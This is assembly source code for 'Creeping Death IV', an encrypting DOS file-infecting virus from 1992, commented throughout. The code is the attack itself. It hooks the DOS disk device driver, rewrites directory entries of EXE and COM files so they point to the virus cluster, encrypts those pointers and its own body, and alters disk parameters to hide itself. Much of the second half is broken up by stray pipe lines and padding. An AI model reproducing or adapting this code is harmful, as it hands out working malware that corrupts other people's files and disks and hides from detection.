2022-08-21 09:07:57 +00:00
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;*****************************************************************************;
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; ;
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; Creeping Death IV (Encrypting, try to find it) ;
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; ;
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; (c) Copyright 1992 by Bit Addict ;
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; ;
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;*****************************************************************************;
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code segment public 'code'
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assume cs:code, ds:code, es:code
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org 100h
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;*****************************************************************************;
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; ;
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; Actual start of virus. In this part the virus initializes the stack and ;
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; adjusts the device driver used by dos to read and write from floppy's and ;
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; hard disks. Then it will start the orginal exe or com-file ;
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; ;
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;*****************************************************************************;
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Encrypt: mov bx,offset Main-9
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Repeat: xor byte ptr [bx+8],bl
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inc bx
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jnz Repeat
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Main: mov sp,600h ; init stack
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inc Counter
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;*****************************************************************************;
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; ;
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; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ;
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; si will be -1 ;
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; ;
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;*****************************************************************************;
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DosVersion: mov ah,30h ; fn 30h = Get Dosversion
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int 21h ; int 21h
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cmp al,4 ; major dosversion
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sbb di,di
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mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,??
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;*****************************************************************************;
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; ;
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; Adjust the size of the codesegment, with dos function 4ah ;
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; ;
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;*****************************************************************************;
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mov bx,60h ; Adjust size of memory block
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mov ah,4ah ; to 60 paragraphs = 600h bytes
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int 21h ; int 21h
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mov ah,52h ; get internal list of lists
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int 21h ; int 21h
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;*****************************************************************************;
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; ;
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; If the virus code segment is located behind the dos config memory block the ;
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; code segment will be part of the config memory block making it 61h ;
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; paragraphs larger. If the virus is not located next to the config memory ;
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; block the virus will set the owner to 8h (Dos system) ;
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; ;
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;*****************************************************************************;
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mov ax,es:[bx-2] ; segment of first MCB
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mov dx,cs ; dx = MCB of the code segment
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dec dx
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NextMCB: mov ds,ax ; ax = segment next MCB
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add ax,ds:[3]
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inc ax
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cmp ax,dx ; are they equal ?
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jne NextMCB ; no, not 1st program executed
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cmp word ptr ds:[1],8
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jne NoBoot
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add word ptr ds:[3],61h ; add 61h to size of block
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NoBoot: mov ds,dx ; ds = segment of MCB
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mov word ptr ds:[1],8 ; owner = dos system
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;*****************************************************************************;
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; ;
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; The virus will search for the disk paramenter block for drive a: - c: in ;
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; order to find the device driver for these block devices. If any of these ;
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; blocks is found the virus will install its own device driver and set the ;
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; access flag to -1 to tell dos this device hasn't been accesed yet. ;
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; ;
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;*****************************************************************************;
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cld ; clear direction flag
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lds bx,es:[bx] ; get pointer to first drive
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; paramenter block
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Search: cmp bx,-1 ; last block ?
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je Last
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mov ax,ds:[bx+di+15h] ; get segment of device header
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cmp ax,70h ; dos device header ??
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jne Next ; no, go to next device
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xchg ax,cx
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mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive
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; has not been accessed"
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mov si,offset Header-4 ; set address of new device
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xchg si,ds:[bx+di+13h] ; and save old address
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mov ds:[bx+di+15h],cs
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Next: lds bx,ds:[bx+di+19h] ; next drive parameter block
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jmp Search
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;*****************************************************************************;
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; ;
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; If the virus has failed in starting the orginal exe-file it will jump here. ;
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; ;
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;*****************************************************************************;
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Install: int 20h
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;*****************************************************************************;
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; ;
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; An file is opend with this name, but the file will not be found. ;
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; ;
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;*****************************************************************************;
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File: db "C:",255,0
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;*****************************************************************************;
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; ;
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; If none of these devices is found it means the virus is already resident ;
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; and the virus wasn't able to start the orginal exe-file (the file is ;
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; corrupted by copying it without the virus memory resident). If the device ;
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; is found the information in the header is copied. ;
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; ;
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;*****************************************************************************;
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Last: jcxz install
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;*****************************************************************************;
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; ;
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; The information about the dos device driver is copyed to the virus code ;
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; segment ;
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; ;
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;*****************************************************************************;
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mov ds,cx ; ds = segment of Device Driver
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add si,4
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push cs
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pop es
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mov di,offset Header
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movsw
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lodsw
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mov es:StrBlock,ax
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mov ax,offset Strategy
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stosw
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lodsw
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mov es:IntBlock,ax
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mov ax,offset Interrupt
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stosw
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movsb
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;*****************************************************************************;
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; ;
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; Deallocate the environment memory block and start the this file again, but ;
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; if the virus succeeds it will start the orginal exe-file. ;
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; ;
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;*****************************************************************************;
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push cs
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pop ds
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mov bx,ds:[2ch] ; environment segment
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or bx,bx ; =0 ?
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jz Boot
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mov es,bx
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mov ah,49h ; deallocate memory
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int 21h
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xor ax,ax
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mov di,1
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Seek: dec di ; scan for end of environment
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scasw
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jne Seek
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lea si,ds:[di+2] ; es:si = start of filename
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jmp short Exec
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Boot: mov ds,ds:[16h] ; es = parent PSP
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mov bx,ds:[16h] ; bx = parent PSP of Parent PSP
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xor si,si
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sub bx,1
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jnb Exec
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mov ax,cs
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dec ax
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mov ds,ax
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mov cx,8
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mov si,8
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mov di,0ffh
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Count: lodsb
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or al,al
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loopne Count
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not cx
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and cx,7
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NextByte: mov si,8
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inc di
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push di
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push cx
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rep cmpsb
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pop cx
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pop di
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jne NextByte
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BeginName: dec di
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cmp byte ptr es:[di-1],0
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jne BeginName
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mov si,di
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mov bx,es
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Exec: push bx
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push cs
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pop ds
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mov bx,offset Param
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mov ds:[bx+4],cs ; set segments in EPB
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mov ds:[bx+8],cs
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mov ds:[bx+12],cs
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pop ds
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push cs
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pop es
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mov di,offset f_name ; copy name of this file
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push di
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mov cx,40
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rep movsw
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push cs
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pop ds
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mov ah,3dh ; open file, this file will
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mov dx,offset File ; not be found but the entire
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int 21h ; directory is searched and
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pop dx ; infected
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mov ax,4b00h ; execute file
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int 21h
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mov ah,4dh ; get exit-code
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int 21h
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mov ah,4ch ; terminate (al = exit code)
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int 21h
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;*****************************************************************************;
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; ;
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; Installation complete ;
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; ;
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;*****************************************************************************;
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; ;
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; The next part contains the device driver used by creeping death to infect ;
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; directory's ;
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; ;
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; The device driver uses only the strategy routine to handle the requests. ;
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; I don't know if this is because the virus will work better or the writer ;
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; of this virus didn't know how to do it right. ;
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; ;
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;*****************************************************************************;
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Strategy: mov cs:RequestOffset,bx
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mov cs:RequestSegment,es
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retf
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Interrupt: push ax ; driver strategy block
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push bx
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push cx ; save registers
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push dx
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push si
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push di
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push ds
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push es
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les bx,cs:Request
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push es
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pop ds
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mov al,ds:[bx+2] ; Command Code
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cmp al,4 ; Input
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je Input
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cmp al,8 ; Output
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je Output
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cmp al,9
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je Output
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call DoRequest
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cmp al,2 ; Build BPB
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jne Return
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lds si,ds:[bx+12h] ; copy the BPB and change it
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mov di,offset bpb_buf ; into one that hides the virus
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mov es:[bx+12h],di
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mov es:[bx+14h],cs
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push es ; copy
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push cs
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pop es
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mov cx,16
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rep movsw
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pop es
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push cs
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pop ds
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mov al,ds:[di+2-32] ; change
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cmp al,2
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adc al,0
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cbw
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cmp word ptr ds:[di+8-32],0 ; >32mb partition ?
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je m32 ; yes, jump to m32
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sub ds:[di+8-32],ax ; <32mb partition
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jmp short Return
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m32: sub ds:[di+15h-32],ax ; >32mb partition
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sbb word ptr ds:[di+17h-32],0
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Return: pop es ; return to caller
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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retf
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Output: mov cx,0ff09h ; check if disk changed
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call check
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jz InfectSector ; no, just infect sector
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call DoRequest ; yes, write virus to disk
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jmp short inf_dsk
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InfectSector: jmp _InfectSector ; infect sector
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Read: jmp _Read ; read sector
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ReadError: add sp,16 ; error during request
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jmp short Return
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Input: call check ; check if disk changed
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jz Read ; no, read sector
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inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk
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cld ; save last part of request
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lea si,ds:[bx+0eh]
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mov cx,8
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save: lodsw
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push ax
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loop save
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mov word ptr ds:[bx+14h],1 ; read 1st sector on disk
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call ReadSector
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jnz ReadError
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mov byte ptr ds:[bx+2],2 ; build BPB
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call DoRequest
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lds si,ds:[bx+12h] ; ds:si = BPB
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mov di,ds:[si+6] ; size of root directory
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add di,15 ; in sectors
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mov cl,4
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shr di,cl
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mov al,ds:[si+5]
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cbw
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mov dx,ds:[si+0bh]
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mul dx ; ax=fat sectors, dx=0
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add ax,ds:[si+3]
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add di,ax
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push di ; save it on stack
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mov ax,ds:[si+8] ; total number of sectors
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cmp ax,dx ; >32mb
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jnz more ; no, skip next 2 instructions
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mov ax,ds:[si+15h] ; get number of sectors
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|
mov dx,ds:[si+17h]
|
|
|
|
|
more: xor cx,cx ; cx=0
|
|
|
|
|
sub ax,di ; dx:ax=number is data sectors
|
|
|
|
|
sbb dx,cx
|
|
|
|
|
mov cl,ds:[si+2] ; cx=sectors / cluster
|
|
|
|
|
div cx ; number of clusters on disk
|
|
|
|
|
cmp cl,2 ; 1 sector/cluster ?
|
|
|
|
|
sbb ax,-1 ; number of clusters (+1 or +2)
|
|
|
|
|
push ax ; save it on stack
|
|
|
|
|
call Convert ; get fat sector and offset in
|
|
|
|
|
mov byte ptr es:[bx+2],4 ; sector
|
|
|
|
|
mov es:[bx+14h],ax
|
|
|
|
|
call ReadSector ; read fat sector
|
|
|
|
|
again: lds si,es:[bx+0eh]
|
|
|
|
|
add si,dx
|
|
|
|
|
sub dh,cl ; has something to do with the
|
|
|
|
|
adc dx,ax ; encryption of the pointers
|
|
|
|
|
mov word ptr cs:[gad+1],dx
|
|
|
|
|
cmp cl,1 ; 1 sector / cluster
|
|
|
|
|
jne Ok
|
|
|
|
|
SmallModel: not di ; this is used when the
|
|
|
|
|
and ds:[si],di ; clusters are 1 sector long
|
|
|
|
|
pop ax
|
|
|
|
|
push ax
|
|
|
|
|
inc ax
|
|
|
|
|
push ax
|
|
|
|
|
mov dx,0fh
|
|
|
|
|
test di,dx
|
|
|
|
|
jz here
|
|
|
|
|
inc dx
|
|
|
|
|
mul dx
|
|
|
|
|
here: or ds:[si],ax
|
|
|
|
|
pop ax
|
|
|
|
|
call Convert
|
|
|
|
|
mov si,es:[bx+0eh]
|
|
|
|
|
add si,dx
|
|
|
|
|
Ok: mov ax,ds:[si]
|
|
|
|
|
and ax,di
|
|
|
|
|
mov dx,di ; allocate cluster
|
|
|
|
|
dec dx
|
|
|
|
|
and dx,di
|
|
|
|
|
not di
|
|
|
|
|
and ds:[si],di
|
|
|
|
|
or ds:[si],dx
|
|
|
|
|
cmp ax,dx ; cluster already allocated by
|
|
|
|
|
pop ax ; the virus ?
|
|
|
|
|
pop di
|
|
|
|
|
mov word ptr cs:[pointer+1],ax
|
|
|
|
|
je _Read_ ; yes, don't write it and go on
|
|
|
|
|
mov dx,ds:[si]
|
|
|
|
|
push ds
|
|
|
|
|
push si
|
|
|
|
|
mov byte ptr es:[bx+2],8 ; write
|
|
|
|
|
call DoRequest ; write the adjusted sector to
|
|
|
|
|
pop si ; disk
|
|
|
|
|
pop ds
|
|
|
|
|
jnz _Read_
|
|
|
|
|
call ReadSector ; read it again
|
|
|
|
|
cmp ds:[si],dx ; is it written correctly ?
|
|
|
|
|
jne _Read_ ; no, can't infect disk
|
|
|
|
|
dec ax
|
|
|
|
|
dec ax ; calculate the sector number
|
|
|
|
|
mul cx ; to write the virus to
|
|
|
|
|
add ax,di
|
|
|
|
|
adc dx,0
|
|
|
|
|
push es
|
|
|
|
|
pop ds
|
|
|
|
|
mov word ptr ds:[bx+12h],2
|
|
|
|
|
mov ds:[bx+14h],ax ; store it in the request hdr
|
|
|
|
|
test dx,dx
|
|
|
|
|
jz less
|
|
|
|
|
mov word ptr ds:[bx+14h],-1
|
|
|
|
|
mov ds:[bx+1ah],ax
|
|
|
|
|
mov ds:[bx+1ch],dx
|
|
|
|
|
less: mov ds:[bx+10h],cs
|
|
|
|
|
mov ds:[bx+0eh],100h
|
|
|
|
|
mov byte ptr es:[bx+2],8 ; write it
|
|
|
|
|
call EncryptWrite1
|
|
|
|
|
|
|
|
|
|
_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte
|
|
|
|
|
std ; restore other part of the
|
|
|
|
|
lea di,ds:[bx+1ch] ; request
|
|
|
|
|
mov cx,8
|
|
|
|
|
load: pop ax
|
|
|
|
|
stosw
|
|
|
|
|
loop load
|
|
|
|
|
_Read: call DoRequest ; do request
|
|
|
|
|
|
|
|
|
|
mov cx,9
|
|
|
|
|
_InfectSector: mov di,es:[bx+12h] ; get number of sectors read
|
|
|
|
|
lds si,es:[bx+0eh] ; get address of data
|
|
|
|
|
sal di,cl ; calculate end of buffer
|
|
|
|
|
xor cl,cl
|
|
|
|
|
add di,si
|
|
|
|
|
xor dl,dl
|
|
|
|
|
push ds ; infect the sector
|
|
|
|
|
push si
|
|
|
|
|
call find
|
|
|
|
|
jcxz no_inf ; write sector ?
|
|
|
|
|
mov al,8
|
|
|
|
|
xchg al,es:[bx+2] ; save command byte
|
|
|
|
|
call DoRequest ; write sector
|
|
|
|
|
mov es:[bx+2],al ; restore command byte
|
|
|
|
|
and byte ptr es:[bx+4],07fh
|
|
|
|
|
no_inf: pop si
|
|
|
|
|
pop ds
|
|
|
|
|
inc dx ; disinfect sector in memory
|
|
|
|
|
call find
|
|
|
|
|
jmp Return ; return to caller
|
|
|
|
|
|
|
|
|
|
;*****************************************************************************;
|
|
|
|
|
; ;
|
|
|
|
|
; Subroutines ;
|
|
|
|
|
; ;
|
|
|
|
|
;*****************************************************************************;
|
|
|
|
|
|
|
|
|
|
find: mov ax,ds:[si+8] ; (dis)infect sector in memory
|
|
|
|
|
cmp ax,"XE" ; check for .exe
|
|
|
|
|
jne com
|
|
|
|
|
cmp ds:[si+10],al
|
|
|
|
|
je found
|
|
|
|
|
com: cmp ax,"OC" ; check for .com
|
|
|
|
|
jne go_on
|
|
|
|
|
cmp byte ptr ds:[si+10],"M"
|
|
|
|
|
jne go_on
|
|
|
|
|
found: test word ptr ds:[si+1eh],0ffc0h ; file to big
|
|
|
|
|
jnz go_on ; more than 4mb
|
|
|
|
|
test word ptr ds:[si+1dh],03ff8h ; file to small
|
|
|
|
|
jz go_on ; less than 2048 bytes
|
|
|
|
|
test byte ptr ds:[si+0bh],1ch ; directory, system or
|
|
|
|
|
jnz go_on ; volume label
|
|
|
|
|
test dl,dl ; infect or disinfect ?
|
|
|
|
|
jnz rest
|
|
|
|
|
pointer: mov ax,1234h ; ax = viral cluster
|
|
|
|
|
cmp ax,ds:[si+1ah] ; file already infected ?
|
|
|
|
|
je go_on ; yes, go on
|
|
|
|
|
xchg ax,ds:[si+1ah] ; exchange pointers
|
|
|
|
|
gad: xor ax,1234h ; encryption
|
|
|
|
|
mov ds:[si+14h],ax ; store it on another place
|
|
|
|
|
loop go_on ; change cx and go on
|
|
|
|
|
rest: xor ax,ax ; ax = 0
|
|
|
|
|
xchg ax,ds:[si+14h] ; get pointer
|
|
|
|
|
xor ax,word ptr cs:[gad+1] ; Encrypt
|
|
|
|
|
mov ds:[si+1ah],ax ; store it on the right place
|
|
|
|
|
go_on: rol word ptr cs:[gad+1],1 ; change encryption
|
|
|
|
|
add si,32 ; next directory entry
|
|
|
|
|
cmp di,si ; end of buffer ?
|
|
|
|
|
jne find ; no, do it again
|
|
|
|
|
ret ; return
|
|
|
|
|
|
|
|
|
|
check: mov ah,ds:[bx+1] ; get number of unit
|
|
|
|
|
drive: cmp ah,-1 ; same as last call ?
|
|
|
|
|
mov byte ptr cs:[drive+2],ah ; set 2nd parameter
|
|
|
|
|
jne changed
|
|
|
|
|
push ds:[bx+0eh] ; save word
|
|
|
|
|
mov byte ptr ds:[bx+2],1 ; disk changed ?
|
|
|
|
|
call DoRequest
|
|
|
|
|
cmp byte ptr ds:[bx+0eh],1 ; 1=Yes
|
|
|
|
|
pop ds:[bx+0eh] ; restore word
|
|
|
|
|
mov ds:[bx+2],al ; restore command
|
|
|
|
|
changed: ret ; return
|
|
|
|
|
|
|
|
|
|
ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk
|
|
|
|
|
|
|
|
|
|
DoRequest: db 09ah ; call 70:?, orginal strategy
|
|
|
|
|
StrBlock dw ?,70h
|
|
|
|
|
db 09ah ; call 70:?, orginal interrupt
|
|
|
|
|
IntBlock dw ?,70h
|
|
|
|
|
test byte ptr es:[bx+4],80h ; error ? yes, zf = 0
|
|
|
|
|
ret ; return
|
|
|
|
|
|
|
|
|
|
Convert: cmp ax,0ff0h ; convert cluster number into
|
|
|
|
|
jae fat_16 ; an sector number and offset
|
|
|
|
|
mov si,3 ; into this sector containing
|
|
|
|
|
xor word ptr cs:[si+gad-1],si ; the fat-item of this
|
|
|
|
|
mul si ; cluster
|
|
|
|
|
shr ax,1
|
|
|
|
|
mov di,0fffh
|
|
|
|
|
jnc cont
|
|
|
|
|
mov di,0fff0h
|
|
|
|
|
jmp short cont
|
|
|
|
|
fat_16: mov si,2
|
|
|
|
|
mul si
|
|
|
|
|
mov di,0ffffh
|
|
|
|
|
cont: mov si,512
|
|
|
|
|
div si
|
|
|
|
|
inc ax
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
EncryptWrite1: push ds
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
push es
|
|
|
|
|
push cs
|
|
|
|
|
pop es
|
|
|
|
|
cld
|
|
|
|
|
mov cx,9
|
|
|
|
|
mov si,offset Encrypt
|
|
|
|
|
mov di,offset EncryptWrite2
|
|
|
|
|
mov al,ds:[si+5]
|
|
|
|
|
add al,11
|
|
|
|
|
mov ds:[si+5],al
|
|
|
|
|
cbw
|
|
|
|
|
mov dx,offset Main-1
|
|
|
|
|
sub dx,ax
|
|
|
|
|
mov ds:[si+1],dx
|
|
|
|
|
rep movsb
|
|
|
|
|
mov cl,10
|
|
|
|
|
mov si,offset DoRequest
|
|
|
|
|
rep movsb
|
|
|
|
|
mov cl,9
|
|
|
|
|
mov si,offset Encrypt
|
|
|
|
|
rep movsb
|
|
|
|
|
mov ax,0c31fh
|
|
|
|
|
stosw
|
|
|
|
|
pop es
|
|
|
|
|
jmp EncryptWrite2
|
|
|
|
|
|
|
|
|
|
Counter dw 0 ; this will count the number of
|
|
|
|
|
; systems that are infected by
|
|
|
|
|
; this virus
|
|
|
|
|
|
|
|
|
|
Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the
|
|
|
|
|
; exec-function
|
|
|
|
|
|
|
|
|
|
Header db 7 dup(?) ; this is the header for the
|
|
|
|
|
; device driver
|
|
|
|
|
|
|
|
|
|
Request equ this dword ; address of the request header
|
|
|
|
|
RequestOffset dw ?
|
|
|
|
|
RequestSegment dw ?
|
|
|
|
|
|
|
|
|
|
bpb_buf: db 32 dup(?) ; buffer for BPB
|
|
|
|
|
EncryptWrite2: db 30 dup(?)
|
|
|
|
|
f_name: db 80 dup(?) ; Buffer for the filename used
|
|
|
|
|
; by the exec-function
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;*****************************************************************************;
|
|
|
|
|
; ;
|
|
|
|
|
; The End ;
|
|
|
|
|
; ;
|
|
|
|
|
;*****************************************************************************;
|
|
|
|
|
|
|
|
|
|
code ends
|
|
|
|
|
|
|
|
|
|
end Encrypt
|
